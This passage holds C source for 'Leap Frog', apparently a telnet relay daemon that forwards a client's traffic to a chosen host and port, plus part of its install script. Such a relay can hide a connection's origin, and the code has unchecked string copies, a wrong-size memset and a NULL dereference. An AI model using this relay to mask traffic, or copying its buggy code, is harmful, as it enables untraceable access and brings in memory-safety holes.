sprintf(buf,"Signal %d caught, sig usr2, exiting cleanly?\n",crap);
else
sprintf(buf,"Signal %d caught, in sig usr neither 1 or 2, exiting cleanly?\n",crap);
log_file("signals",buf);
exit(crap);
return;
}
void sig_pipe(int crap)
{
if (VERBOSE)
printf("SIGPIPE CAUGHT\n");
log_file("signals","SIGPIPE error ratts");
signal(SIGPIPE,sig_pipe);
return;
}
void sig_term(int crap)
{
if (VERBOSE)
printf("SIGTERM CAUGHT\n");
log_file("signals","SIGTERM error ratts");
signal(SIGTERM,sig_term);
return;
}
void init_signals()
{
signal(SIGPIPE, sig_pipe);
signal(SIGHUP, sig_exit);
signal(SIGINT, sig_exit);
signal(SIGQUIT, sig_exit);
signal(SIGILL, sig_exit);
signal(SIGTRAP, sig_exit);
signal(SIGIOT, sig_exit);
signal(SIGBUS, sig_exit);
signal(SIGFPE, sig_exit);
signal(SIGKILL, sig_kill);
signal(SIGSEGV, sig_segv);
signal(SIGALRM, sig_exit);
signal(SIGTERM, sig_term);
signal(SIGCHLD, sig_exit);
signal(SIGCONT, sig_exit);
signal(SIGSTOP, sig_exit);
signal(SIGTSTP, sig_exit);
signal(SIGTTIN, sig_exit);
signal(SIGTTOU, sig_exit);
signal(SIGURG, sig_exit);
signal(SIGXCPU, sig_exit);
signal(SIGXFSZ, sig_exit);
signal(SIGVTALRM, sig_exit);
signal(SIGPROF, sig_exit);
signal(SIGWINCH, sig_exit);
signal(SIGIO, sig_exit);
signal(SIGPWR, sig_exit);
}
// initilize the main socket
void init_socket(int port)
{
struct sockaddr_in main_socket, config_socket;
int dummy = 1,dummy_2=1,config_port;
char *hostname;
struct hostent *hp;
/* grab the main socket */
hostname=(char *)malloc(101);
RAMUSED+=sizeof(hostname);
bzero((char *)&main_socket, sizeof(struct sockaddr_in));
bzero((char *)&config_socket, sizeof(struct sockaddr_in));
gethostname(hostname,100);
hp=gethostbyname(hostname);
if ( hp == NULL)
{
printf("Error: Host machine does not exist!\n");
}
main_socket.sin_family=hp->h_addrtype;
main_socket.sin_port=htons(port);
config_socket.sin_family=hp->h_addrtype;
config_port=port+1;
config_socket.sin_port=htons(config_port);
main_descriptor = socket(AF_INET, SOCK_STREAM, IPROTO);
if (main_descriptor < 0)
{
printf("Couldn't grab main socket!!!\n");
exit(-1);
}
config_descriptor = socket(AF_INET, SOCK_STREAM, IPROTO);
if (config_descriptor < 0)
{
printf("Couldn't grab config socket!!!\n");
exit(-1);
}
if (setsockopt(main_descriptor, SOL_SOCKET, SO_REUSEADDR, (char *) &dummy,
sizeof(dummy)) < 0)
printf("Couldn't setsockopt() main\n");
if (setsockopt(config_descriptor, SOL_SOCKET, SO_REUSEADDR, (char *) &dummy_2,
sizeof(dummy_2)) < 0)
printf("Couldn't setsockopt() config\n");
// we do not need to set it non block but here is the code to do it att & bsd
/* flags=fcntl(main_descriptor,F_GETFL,0);
fcntl(main_descriptor,F_SETFL,O_NONBLOCK|flags);
if (ioctl(main_descriptor, FIONBIO, &dummy) < 0)
printf("Can't set non-blocking\n");
*/
if (bind(main_descriptor, (struct sockaddr *) & main_socket, sizeof(main_socket)) < 0)
{
if (VERBOSE)
printf("Couldn't bind main socket!!! ... check if something is already listening on that port!\n");
log_file("server","Couldn't bind main socket!!! ... check if something is alreadyn listening on that port!\n");
exit(-2);
}
if (bind(config_descriptor, (struct sockaddr *) & config_socket, sizeof(config_socket)) < 0)
{
if (VERBOSE)
printf("Couldn't bind config socket!!! ... check if something is already listening on that port!\n");
log_file("server","Couldn't bind config socket!!! ... check if something is alreadyn listening on that port!\n");
exit(-2);
}
if (listen(main_descriptor, 5) < 0)
printf("Listen refused main\n");
if (listen(config_descriptor, 5) < 0)
printf("Listen refused config\n");
pid=getpid();
(void)time(&timeval);
if (VERBOSE)
{
printf ("\n\nServer %s's main socket is set to receive on port - %d pid =%d\n", hostname,port,(int)pid);
printf("starting date and time %s \n",ctime(&timeval));
printf("\n\nServer Config socket is set to receive on port %d\n",port+1);
}
log_file("server","\n\nServer %s's main socket is set to receive on port - %d pid =%d\n", hostname,port,pid);
log_file("server","\n\nServer Config is set to receive on port %d\n",port+1);
log_file("server","starting date and time : %s \n",ctime(&timeval));
}
// config descriptor thread
void* configWatch(void* dummy)
{
pthread_t dummy_thr;
int accepted_socket;
int test,size;
struct sockaddr_in accept_addr;
struct player_t *passed_t;
struct hostent *addy;
fd_set read_set;
int ready_fd;
test=0;
// loop forever
for (;;)
{
/* wait for client to connect up */
// dont forget to zero out the set and reset what we are looking for every time we go into the loop
FD_ZERO(&read_set);
FD_SET(config_descriptor, &read_set);
// listen on the main socket and wait for someone to connect
// bc we are threaded block, non block is not important
do {
ready_fd= select(FD_SETSIZE, &read_set, NULL,NULL,NULL);
}
while (ready_fd<=0 || !FD_ISSET(config_descriptor, &read_set));
/* client has now connected */
/* pass a thread data structure to the thread instead of just the fd */
passed_t=(struct player_t *)malloc(sizeof(players_t));
RAMUSED+=sizeof(passed_t);
size = sizeof(accept_addr);
accepted_socket = accept(config_descriptor, (struct sockaddr*)&accept_addr, &size);
passed_t->socket=accepted_socket;
strcpy(passed_t->sin_addr,inet_ntoa(accept_addr.sin_addr));
addy=(void *)0;
addy = gethostbyaddr((char *) &(accept_addr.sin_addr.s_addr),
sizeof(accept_addr.sin_addr.s_addr), AF_INET);
if (addy)
passed_t->numerical_address = strdup(addy->h_name);
else
passed_t->numerical_address = passed_t->sin_addr;
/* your pid */
passed_t->pid=getpid();
/* create a new thread and pass the thread data structure we created to it..nice way to encapsulate data */
// we dont care about thread syncing per-se that is why we are not keeping track in any conventional manner
pthread_create(&dummy_thr, NULL, (void *) configClient, (struct player *) passed_t);
}
}
// main descriptor thread
void* serverWatch(void* dummy)
{
pthread_t dummy_thr;
int accepted_socket;
int test,size;
struct sockaddr_in accept_addr;
struct player_t *passed_t;
struct hostent *addy;
fd_set read_set;
int ready_fd;
test=0;
// loop forever
for (;;)
{
/* wait for client to connect up */
// dont forget to zero out the set and reset what we are looking for every time we go into the loop
FD_ZERO(&read_set);
FD_SET( main_descriptor, &read_set);
// listen on the main socket and wait for someone to connect
// bc we are threaded block, non block is not important
do {
ready_fd= select(FD_SETSIZE, &read_set, NULL,NULL,NULL);
}
while (ready_fd<=0 || !FD_ISSET(main_descriptor, &read_set));
/* client has now connected */
/* pass a thread data structure to the thread instead of just the fd */
passed_t=(struct player_t *)malloc(sizeof(players_t));
RAMUSED+=sizeof(passed_t);
size = sizeof(accept_addr);
accepted_socket = accept(main_descriptor, (struct sockaddr*)&accept_addr, &size);
passed_t->socket=accepted_socket;
strcpy(passed_t->sin_addr,inet_ntoa(accept_addr.sin_addr));
addy=(void *)0;
addy = gethostbyaddr((char *) &(accept_addr.sin_addr.s_addr),
sizeof(accept_addr.sin_addr.s_addr),
AF_INET);
if (addy)
passed_t->numerical_address = strdup(addy->h_name);
else
passed_t->numerical_address = passed_t->sin_addr;
/* your pid */
passed_t->pid=getpid();
/* create a new thread and pass the thread data structure we created to it..nice way to encapsulate data */
// we dont care about thread syncing per-se that is why we are not keeping track in any conventional manner
pthread_create(&dummy_thr, NULL, (void *) serverClient, (struct player *) passed_t);
}
}
/* config client to the socket for configuration issues */
void* configClient(struct player_t *p_t)
{
int dummy = 1;
struct frog *p;
time_t time_now;
char hostname[101];
char host_name[20];
int y,x;
int run_command;
logins++;
/* set non blocking of io */
if (ioctl(p_t->socket, FIONBIO, &dummy) < 0)
printf("Can't set non-blocking\n");
gethostname(hostname,100);
x=0;
while(x<strlen(hostname) && (hostname[x]!='.'))
host_name[x]=hostname[x++];
x=0;
p=(struct frog*)malloc(sizeof(FROG));
p->stack=(char *)malloc(200*sizeof(char));
p->totell=(char *)malloc(200*sizeof(char));
/* zero them out now */
memset(p, 0, sizeof(p));
p->flags=0;
/* get ip# and hostname if they have one */
strcpy(p->num_addr,p_t->sin_addr);
strncpy(p->inetaddr, p_t->numerical_address, 50 - 2);
(void *)p->socket=(void *)p_t->socket;
p->term=1;
p->oldstack=p->stack;
/* log every connection */
(void)time(&time_now);
log_file("config_logins","server name:%s inet addr:%s - %s",p->name,p->inetaddr,ctime(&time_now));
send_fd(p,"\n\n\t\t\t\tWelcome To ^GLeap Frog^N:\n");
send_fd(p,"\n\n\t\t^Gwww.cotse.com^N (^GC^Nhurch ^GO^Nf");
send_fd(p," ^GT^Nhe ^GS^Nwimming ^GE^Nlephant)\n\n");
send_fd(p,"\tNOTE: You have connected to the configuration utility\n");
send_fd(p,"\tThe New configuration (if it can be resolved) will be cached\n");
send_fd(p,"\tIf this is the first time you are connecting (resolved queries) will be cached\n");
send_fd(p,"\nPlease enter Server and port (default is 23) Followed by a carriage return\n");
send_fd(p,"Help is Available: type -> help\n");
send_fd(p,"Example foo.bar.com 4365\n\n");
run_command=0;
p->flags=0;
while(run_command>-1) {
send_fd(p,"Type In server and port to ^GLeap Frog^N To\n> ");
if(!(input(p)))
{
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
if (p->flags & PANIC)
{
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
x=0;
while(x<strlen(p->buffer) && p->buffer[x]!=' ')
p->name[x]=p->buffer[x++];
p->name[x]='\0';
if (!strcasecmp(p->name,"quit"))
{
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
// here is where you can check for commands a function would be better, but i will do it here for now
run_command=do_match(p,p->buffer,all);
if (run_command>-1)
execute_command(p, all, " ", run_command);
p->flags=0;
}
y=0;
while (x<strlen(p->buffer) && p->buffer[x]==' ')
x++;
while(x<strlen(p->buffer) && p->buffer[x]!=' ')
p->port[y++]=p->buffer[x++];
p->port[y]='\0';
p->remote_port=atoi(p->port);
if (p->remote_port==0)
p->remote_port=23;
SENDFD(p,"ok trying %s %d\nPlease Wait connecting\n",p->name,p->remote_port);
// now lets do the connection to the desired location
// we cannot let them log back into us
p->temp_long=inet_addr(p->name);
if (!(p->host_entry = gethostbyname(p->name)) &&
!(p->host_entry = gethostbyaddr((char *)&p->temp_long, 4, AF_INET))) {
if (p->name)
SENDFD(p,"The address %s you have given could not be resolved\n",p->name);
else
send_fd(p,"Could not resolve that address\n");
(void)time(&time_now);
log_file("failed_connect","addr:%s could not connect to %s - %s",p->inetaddr,(p->name ? p->name : "NO NAME"),ctime(&time_now));
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
p->host_entry_add=gethostbyaddr((char *)&p->temp_long, 4, AF_INET);
if (p->name)
{
if (!strcasecmp((char *)p->name, hostname) || !strcasecmp((char *)p->name,host_name) || !strcasecmp((char *)p->name,"localhost"))
{
SENDFD(p,"Sorry But you cannot connect back to me!\n");
(void)time(&time_now);
log_file("reconnect","server name:%s inet addr:%s attempted to reconnect to us - %s",p->name,p->inetaddr,ctime(&time_now));
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
}
else
if (!strcasecmp((char *)p->host_entry_add,p->inetaddr))
{
SENDFD(p,"Sorry But you cannot connect back to me!\n");
(void)time(&time_now);
log_file("reconnect","server name:%s inet addr:%s attempted to reconnect to us - %s",p->name,p->inetaddr,ctime(&time_now));
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
(void)time(&time_now);
log_file("login_attempt","server name:%s is attempting to connect to %s on port %d - %s",p->inetaddr,p->name,p->remote_port,ctime(&time_now));
if ((p->remote_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
SENDFD(p,"Ratts Could not get socket()\n");
(void)time(&time_now);
log_file("socket","Could not get socket - %s",ctime(&time_now));
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
p->remote_addr.sin_family = p->host_entry->h_addrtype;
p->remote_addr.sin_port = htons(p->remote_port);
memcpy(&p->remote_addr.sin_addr, p->host_entry->h_addr, p->host_entry->h_length);
p->address.sin_family=AF_INET;
p->address.sin_port=p->remote_port;
p->address.sin_addr=*(struct in_addr *)*p->host_entry->h_addr_list;
if (connect(p->remote_sock, (struct sockaddr *)&p->remote_addr, sizeof(p->remote_addr))) {
SENDFD(p,"Could not connect to %s on port %d\n",p->name,p->remote_port);
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
(void)time(&time_now);
// close this fd
close(p->remote_sock);
SENDFD(p,"Got A good connection to %s on port %d\n",p->name,p->remote_port);
if(read_modify_write(p)) {
send_fd(p,"Cached Data\n");
send_fd(p,"To get to the ^GLeap Frog^N\n");
SENDFD(p,"Type: ^Rtelnet %s %d^N\n",hostname,SERVERPORT);
}
else
send_fd(p,"Sorry could not update/add cache\n");
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
int input(struct frog *p)
{
double idle_out;
time_t time_now;
fd_set my_set; // select
static struct timeval timeout; // select call
int my_fd; // select
p->count=0;
p->idle=time((time_t *)0);
p->flags &= ~(LAST_CHAR_WAS_R | LAST_CHAR_WAS_N);
while (!(p->flags & LAST_CHAR_WAS_N))
{
do {
FD_ZERO(&my_set);
FD_SET( p->socket, &my_set);
timeout.tv_sec=(long)0;
timeout.tv_usec=(long)3; // this seems like enough time
my_fd= select(FD_SETSIZE, &my_set, NULL,NULL,&timeout);
if ((idle_out=difftime(time((time_t *)0),p->idle))>30) // 30 secs before you idle out
{
(void)time(&time_now);
log_file("idle_out","server name:%s inet addr:%s idled out - %s",p->name,p->inetaddr,ctime(&time_now));
send_fd(p,"Sorry But you are not going to suck up a line on me 30sec idleout\n");
p->flags|=PANIC;
p->booted=1;
return -1;
}
}
while (my_fd<=0 || !FD_ISSET(p->socket, &my_set));
// stuf is wating now get it
get_input(p);
}
// just to tiddy up
p->flags &= ~(LAST_CHAR_WAS_R | LAST_CHAR_WAS_N);
p->count=0;
return 1;
}
/* serve the client on the spec socket from thread call */
void* serverClient( struct player_t *p_t)
{
int count;
struct frog *p;
time_t time_now;
char buf[4096];
fd_set my_set; // select
static struct timeval timeout; // select call
int my_fd; // select
double idle_out;
int x,y;
int dummy = 1;
char hostname[101];
char host_name[20];
char stack[255];
int found=0;
logins++;
gethostname(hostname,100);
x=0;
while(x<strlen(hostname) && (hostname[x]!='.'))
host_name[x]=hostname[x++];
x=0;
/* set non blocking of io */
if (ioctl(p_t->socket, FIONBIO, &dummy) < 0)
printf("Can't set non-blocking\n");
count=1;
p=(struct frog*)malloc(sizeof(FROG));
p->stack=(char *)malloc(200*sizeof(char));
p->totell=(char *)malloc(200*sizeof(char));
/* zero them out now */
memset(p, 0, sizeof(p));
p->flags=0;
/* get ip# and hostname if they have one */
strcpy(p->num_addr,p_t->sin_addr);
strncpy(p->inetaddr, p_t->numerical_address, 50 - 2);
(void *)p->socket=(void *)p_t->socket;
p->term=1;
p->oldstack=p->stack;
/* log every connection */
(void)time(&time_now);
log_file("logins","server name:%s inet addr:%s - %s",p->name,p->inetaddr,ctime(&time_now));
// lets see if they have connected to us before
sprintf(stack,"%s/files/%s",ROOT,USERS_ADDRESS_FILE);
if (read_in(p))
{
found=1;
p->flags &= ~ _VERBOSE;
}
else
{
found=0;
p->flags |=_VERBOSE;
}
// my intro message
if (p->flags & _VERBOSE) {
SENDFD(p,"\t\t\t\tWelcome to ^GLeap Frog^N\n\n");
send_fd(p,"\n\n\t\t^Gwww.cotse.com^N (^GC^Nhurch ^GO^Nf");
send_fd(p," ^GT^Nhe ^GS^Nwimming ^GE^Nlephant)\n\n");
}
if (p->flags & _VERBOSE)
send_fd(p,"Enter Location and port (default is 23) to telnet to followed by enter.\nExample: foo.bar.com 8976\n> ");
// read data from session opened
p->count=0;
p->idle=time((time_t *)0);
p->flags &= ~(LAST_CHAR_WAS_R | LAST_CHAR_WAS_N);
if (!found) {
while (!(p->flags & LAST_CHAR_WAS_N))
{
do {
FD_ZERO(&my_set);
FD_SET( p->socket, &my_set);
timeout.tv_sec=(long)0;
timeout.tv_usec=(long)3; // this seems like enough time
my_fd= select(FD_SETSIZE, &my_set, NULL,NULL,&timeout);
if ((idle_out=difftime(time((time_t *)0),p->idle))>30) // 30 secs before you idle out
{
(void)time(&time_now);
log_file("idle_out","server name:%s inet addr:%s idled out - %s",p->name,p->inetaddr,ctime(&time_now));
send_fd(p,"Sorry But you are not going to suck up a line on me 30sec idleout\n");
p->flags|=PANIC;
p->booted=1;
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
break;
}
}
while (my_fd<=0 || !FD_ISSET(p->socket, &my_set));
// ok now get the input from the fd
get_input(p);
}
// just to tiddy up
p->flags &= ~(LAST_CHAR_WAS_R | LAST_CHAR_WAS_N);
p->count=0;
// get the host/port now
x=0;
while(x<strlen(p->buffer) && p->buffer[x]!=' ')
p->name[x]=p->buffer[x++];
p->name[x]='\0';
y=0;
while (x<strlen(p->buffer) && p->buffer[x]==' ')
x++;
while(x<strlen(p->buffer) && p->buffer[x]!=' ')
p->port[y++]=p->buffer[x++];
p->port[y]='\0';
p->remote_port=atoi(p->port);
if (p->remote_port==0)
p->remote_port=23;
} // end of not found
// now lets resolve the desired address
// we cannot let them log back into us
p->temp_long=inet_addr(p->name);
if (!(p->host_entry = gethostbyname(p->name)) &&
!(p->host_entry = gethostbyaddr((char *)&p->temp_long, 4, AF_INET))) {
if (p->name)
SENDFD(p,"The address %s you have given could not be resolved\n",p->name);
else
send_fd(p,"Could not resolve that address\n");
(void)time(&time_now);
log_file("failed_connect","addr:%s could not connect to %s - %s",p->inetaddr,(p->name ? p->name : "NO NAME"),ctime(&time_now));
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
p->host_entry_add=gethostbyaddr((char *)&p->temp_long, 4, AF_INET);
if (p->name)
{
if (!strcasecmp((char *)p->name, hostname) || !strcasecmp((char *)p->name,host_name) || !strcasecmp((char *)p->name,"localhost"))
{
SENDFD(p,"Sorry But you cannot connect back to me!\n");
(void)time(&time_now);
log_file("reconnect","server name:%s inet addr:%s attempted to reconnect to us - %s",p->name,p->inetaddr,ctime(&time_now));
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
}
else
if (!strcasecmp((char *)p->host_entry_add,p->inetaddr))
{
SENDFD(p,"Sorry But you cannot connect back to me!\n");
(void)time(&time_now);
log_file("reconnect","server name:%s inet addr:%s attempted to reconnect to us - %s",p->name,p->inetaddr,ctime(&time_now));
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
if (p->flags & _VERBOSE)
SENDFD(p,"Attempting a connection to %s on port %d\nPlease Wait...\n",p->name,p->remote_port);
(void)time(&time_now);
log_file("login_attempt","server name:%s is attempting to connect to %s on port %d - %s",p->inetaddr,p->name,p->remote_port,ctime(&time_now));
if ((p->remote_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
SENDFD(p,"Ratts Could not get socket()\n");
(void)time(&time_now);
log_file("socket","Could not get socket - %s",ctime(&time_now));
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
p->remote_addr.sin_family = p->host_entry->h_addrtype;
p->remote_addr.sin_port = htons(p->remote_port);
memcpy(&p->remote_addr.sin_addr, p->host_entry->h_addr, p->host_entry->h_length);
p->address.sin_family=AF_INET;
p->address.sin_port=p->remote_port;
p->address.sin_addr=*(struct in_addr *)*p->host_entry->h_addr_list;
if (connect(p->remote_sock, (struct sockaddr *)&p->remote_addr, sizeof(p->remote_addr))) {
SENDFD(p,"Could not connect to %s on port %d\n",p->name,p->remote_port);
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
p->remote2_sock=p_t->socket;
(void)time(&time_now);
log_file("login_success","server %s logged into %s port %d - %s",p->inetaddr,p->name,p->remote_port,ctime(&time_now));
// enter the connect loop
// if not originally found then log it
if (!found)
{
write_out(p);
}
while (1) {
FD_ZERO(&p->select_1);
FD_ZERO(&p->select_2);
FD_SET(p->remote2_sock,&p->select_1);
FD_SET(p->remote2_sock,&p->select_2);
FD_SET(p->remote_sock,&p->select_1);
FD_SET(p->remote_sock,&p->select_2);
if (select(20, &p->select_1, NULL, &p->select_2, NULL) == -1) {
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
if (FD_ISSET(p->remote2_sock,&p->select_1) || FD_ISSET(p->remote2_sock,&p->select_2)) {
if ((p->bytes_read = read(p->remote2_sock,buf,4096)) <= 0)
{
(void)time(&time_now);
log_file("closed_socket","closed socket for %s connect to %s - %s",p->inetaddr,p->name,ctime(&time_now));
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
pthread_exit(NULL);
return 0;
}
if ((write(p->remote_sock,buf,p->bytes_read)) <= 0)
{
(void)time(&time_now);
log_file("closed_socket","closed socket for %s connect to %s - %s",p->inetaddr,p->name,ctime(&time_now));
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
// close this fd
close(p->remote_sock);
pthread_exit(NULL);
return 0;
}
}
else
if (FD_ISSET(p->remote_sock,&p->select_1) || FD_ISSET(p->remote_sock,&p->select_2)) {
if ((p->bytes_read = read(p->remote_sock,buf,4096)) <= 0)
{
(void)time(&time_now);
log_file("closed_socket","closed socket for %s connect to %s - %s",p->inetaddr,p->name,ctime(&time_now));
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
// close this fd
close(p->remote_sock);
pthread_exit(NULL);
return 0;
}
if ((write(p->remote2_sock,buf,p->bytes_read)) <= 0)
{
(void)time(&time_now);
log_file("closed_socket","closed socket for %s connect to %s - %s",p->inetaddr,p->name,ctime(&time_now));
close(p_t->socket);
// close this fd
close(p->remote_sock);
pthread_exit(NULL);
return 0;
}
}
}
free(p->stack);
free(p->totell);
free(p);
close(p_t->socket);
// close this fd
close(p->remote_sock);
pthread_exit(NULL);
return 0;
}
void show_login(struct frog *p)
{
p->term=1;
// use this if you want a more elaborte welcome
}
// not used could be to clean the code up....
void close_socket(struct frog *current)
{
close((int)current->socket);
RAMUSED-=sizeof(current->the_data);
RAMUSED-=sizeof(current->data);
RAMUSED-=sizeof(current->command);
RAMUSED-=sizeof(current->line);
RAMUSED-=sizeof(current->stack);
RAMUSED-=sizeof(current->oldstack);
RAMUSED-=sizeof(current->totell);
}
/* backspace */
void backspace(struct frog * p)
{
p->buffer[p->count] = 0;
if (p->count > 0)
p->count--;
}
// used for all those telnet options...
void telnet_options(struct frog *p)
{
unsigned char c;
if (read(p->socket, &c, 1) != 1)
return;
switch (c)
{
case EC:
backspace(p);
break;
case EL:
p->count = 0;
break;
case IP:
close_socket(p);
break;
case WILL:
case DO:
if (read(p->socket, &c, 1) != 1)
return;
switch (c)
{
case TELOPT_ECHO:
break;
case TELOPT_SGA:
break;
case TELOPT_EOR:
send_fd(p, "\377\031");
break;
}
break;
case WONT:
case DONT:
if (read(p->socket, &c, 1) != 1)
return;
switch (c)
{
case TELOPT_ECHO:
break;
case TELOPT_SGA:
break;
case TELOPT_EOR:
break;
}
break;
}
}
// get some input
void get_input(struct frog *p)
{
int chars_ready = 0;
char c;
errno = 0;
if (ioctl(p->socket, FIONREAD, &chars_ready) == -1)
{
log_file("ioctl","IOCTL Error getinput: user disconnect?");
log_file("ioctl",p->name);
close_socket(p);
p->flags|=PANIC;
pthread_exit(NULL);
return;
}
// need bc of non blockio
if (!chars_ready)
{
log_file("ioctl","Chars ready==0");
log_file("ioctl",p->name);
close_socket(p);
p->flags|=PANIC;
pthread_exit(NULL);
return;
}
for (; !(p->flags & PANIC) && chars_ready; chars_ready--)
if (read(p->socket, &c, 1) != 1)
{
p->flags|=PANIC;
log_file("error","Read Error on get input");
close_socket(p);
pthread_exit(NULL);
return;
}
else
switch (c)
{
case -1:
p->flags &= ~(LAST_CHAR_WAS_R | LAST_CHAR_WAS_N);
telnet_options(p);
return;
break;
case '\n':
p->flags |= LAST_CHAR_WAS_N;
p->buffer[p->count] = 0;
return;
break;
default:
p->flags &= ~(LAST_CHAR_WAS_R | LAST_CHAR_WAS_N);
if (c == 8 || c == 127 || c == -9)
{
backspace(p);
break;
}
if ((c > 31) && (p->count < (IBUFFER_LENGTH - 3)))
{
p->buffer[p->count] = c;
p->count++;
out_current++;
out_pack_current++;
}
else
{
}
break;
}
}
// used to clear a screen if the correct term is set
void cls(struct frog *p, char *str)
{
if (p->term>0)
{
send_fd(p,terms[(p->term)-1].cls);
}
else
{
send_fd(p,"Sorry you must set a term type first");
}
}
// this sends to the fd just text no vsprintf that is the SENDFD
void send_fd(struct frog *p, char *str)
{
char *str2;
if (!str)
return;
if (!p)
return;
if ((p->socket<0) || (p->flags & PANIC))
return;
if ((p->socket<0) || (p->flags & PANIC))
return;
str2=review_sendfd(p,str);
if (!str2)
return;
if (write((int)p->socket,str2,strlen(str2))<0)
{
p->flags|=PANIC;
log_file("sigpipe","Sigipipe: from output to frog, at time ->");
return;
}
}
// use this when impleting a ll to send data/??? to other open fd on the server
void _sendfd(struct frog *p, char *str)
{
char *name;
struct frog *info;
info=NULL;
if (!str)
{
send_fd(p,"usage: sendfd {connected_ip} {message/data}\n");
return;
}
/* we are only expecting one name at a time for now */
if (!(name=parse(str,1," ")))
{
send_fd(p,"usage: sendfd {connected_ip} {message/data}\n");
return;
}
if ((p==info))
{
send_fd(p,"Hey Dumb ass that is your ip\n");
return;
}
if (!((char *)str = strchr(str,' ')))
{
send_fd(p,"usage: sendfd {connected_ip} {message/data}\n");
return;
}
str++;
SENDFD(info,"%s sends to you %s\n",p->name,str);
SENDFD(p," %s sent to %s\n",info->name,str);
}
// again could be used by admin command on port+1
void shut_down(struct frog *p, char *str)
{
char buf[255];
sprintf(buf,"%s is shutting down from ip# %s",p->name,p->inetaddr);
log_file("shutdown","SHUTTING DOWN ");
log_file("shutdown",buf);
send_fd(p,"SHutting Down....\n");
exit(-1);
return;
}
// old functions to keep time/mem of daemon...internal functions
void time_frog_server_up(struct frog *p)
{
double time_on;
time_t time_now;
int x,y;
p->no_secs=0;
p->no_mins=0;
p->no_hours=0;
p->no_days=0;
time_now=time((time_t *)0);
time_on=(double )difftime(time_now,timeval);
if (time_on>86380)
{
p->no_secs=((int)time_on % 60);
x=(time_on/60);
p->no_mins=(x % 60);
y=(x/60);
p->no_hours=(y % 24);
p->no_days=(y/24);
return;
}
if (time_on>3600)
{
p->no_secs=((int)time_on % 60);
x=(time_on/60);
p->no_mins=(x%60);
p->no_hours=(x/60);
return;
}
if (time_on>60)
{
p->no_secs=((int)time_on % 60);
p->no_mins=((int)time_on / 60);
return;
}
/* sec only */
p->no_secs=time_on;
}
// same as above...except a small twist
void time_up(struct frog *p, char *str)
{
time_t time_rightnow;
(void)time(&time_rightnow);
SENDFD(p,"MY Code is now in version #%s since date %s\n",VERSION,VERSION_DATE);
SENDFD(p,"The date is: %s\r",ctime(&timeval));
SENDFD(p,"And Has Been Up For: ");
time_frog_server_up(p);
if (p->no_days)
{
SENDFD(p," %d days",p->no_days);
}
if (p->no_hours)
{
SENDFD(p," %d hour(s)",p->no_hours);
}
if (p->no_mins)
{
SENDFD(p," %d minute(s)",p->no_mins);
}
if (p->no_secs)
{
SENDFD(p," %d second(s)",p->no_secs);
}
SENDFD(p,"\r\nAnd ");
if (logins<2)
SENDFD(p,"%d people have used leap frog.\n",logins);
else
SENDFD(p,"%d people have used leap frog.\n",logins);
}
return 0;
}
int read_in(struct frog *p)
{
struct saved_player sp;
FILE *fp;
char dn[100];
sprintf(dn,"%s/files/%s",ROOT,USERS_ADDRESS_FILE);
if (!(fp=fopen(dn,"rb")))
{
return 0;
}
while(!(feof(fp))) {
fread(&sp,sizeof(struct saved_player),1,fp);
if (!(feof(fp)))
{
if (!strcasecmp(p->inetaddr,sp.inetaddr))
{
strcpy(p->name,sp.remote);
p->remote_port=sp.port;
fclose(fp);
return 1;
}
}
}
fclose(fp);
return 0;
}
int write_out(struct frog *p)
{
FILE *fp;
struct saved_player sp;
char dn[100];
sprintf(dn,"%s/files/%s",ROOT,USERS_ADDRESS_FILE);
if (!(fp=fopen(dn,"ab")))
{
fp=fopen(dn,"wb");
}
strcpy(sp.inetaddr,p->inetaddr);
strcpy(sp.remote,p->name);
sp.port=p->remote_port;
if (!fp)
{
return 0;
}
if (fwrite(&sp,sizeof(struct saved_player),1,fp)!=1)
{
fclose(fp);
return 0;
}
fclose(fp);
return 1;
}
on ***"
echo $N "Logging? (y/n) "
read yn
case "$yn" in
"yes" | "Y" | "Yes" | "y" | "YES" ) LOGGING=1;;
"no" | "No" | "NO" | "N" | "n" ) LOGGING=0;;
* ) LOGGING=1;;
esac
echo ""
echo "Instaling in the directory $PWD/"
echo "Doing Config For System Type $HOST"
echo "Configuring to listen on port $PORT"
if [ "$LOGGING" -eq 0 ]
then
echo "With logging shut off"
else
echo "With logging turned on"
fi
echo ""
echo $N "Is This Config Ok to Use? (y/n) "
read yn
case "$yn" in
"yes" | "Y" | "Yes" | "y" | "YES" ) echo "Doing Configs";;
"no" | "No" | "NO" | "N" | "n" ) exit 0;;
* ) exit 0;;
esac
# Makefile
if [ "$HOST" = "Linux" ]
then
cp src/Makefile.linux src/Makefile
cp src/include/originalconfig.h src/include/config.h
sed 's/\/\/#define LINUX 1/#define LINUX 1/g' src/include/config.h > src/include/config2.h
if [ "$LOGGING" -eq 0 ]
then
sed 's/#define LOGGING 1/\/\/ #define LOGGING 1/g' src/include/config2.h > src/include/config3.h
mv src/include/config3.h src/include/config2.h
fi
